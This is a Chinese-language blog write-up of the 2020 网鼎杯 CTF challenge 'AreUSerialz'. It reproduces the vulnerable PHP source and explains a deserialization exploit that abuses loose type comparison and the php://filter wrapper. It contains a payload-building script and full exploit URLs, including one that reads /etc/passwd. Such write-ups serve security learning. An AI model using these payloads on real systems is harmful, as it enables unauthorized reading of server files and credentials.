[网鼎杯 2020 青龙组]AreUSerialz

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

  PHP反序列化漏洞,比赛的时候做出来了,在buuoj上再复现记录一下。

查看代码可以看出来,GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。

在反序列化的过程中,调用__destruct析构方法

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

  如果op==="2",将其赋为"1",同时content赋为空,进入process函数,需要注意到的地方是,这里op与"2"比较的时候是强类型比较

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

  进入process函数后,如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较==。

所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,接着进入read函数

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

  filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

  整个利用思路就很明显了,还有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

<?php

class FileHandler {

    protected $op=2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        // $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        // $this->process();
    }

}
$A=new FileHandler();
$B=serialize($A);
echo $B;

  运行之后,这三个箭头指向的地方字符显示不正确的地方就是%00字符

 

 

 在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

即:

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

  现在得到的结果就没有%00字符了

 

 buuoj平台复现的话使用上面这个payload就已经可以读取flag了:

http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

  

 

 比赛的时候还有相对路径和绝对路径的问题,需要拿到绝对路径才能读取flag

可以先尝试读取/etc/passwd检验自己的payload是否正确,然后再读取服务器上的配置文件,猜出flag.php所在的绝对路径,再将其读取。

http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;s:7:%22content%22;N;}

  下面这个payload是比赛的时候用的,buuoj上环境路径不一样。

http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:67:%22php://filter/read=convert.base64-encode/resource=/web/html/flag.php%22;s:7:%22content%22;N;}

  

以上。

posted @ 2020-05-12 10:08  春告鳥  阅读(2419)  评论(0编辑  收藏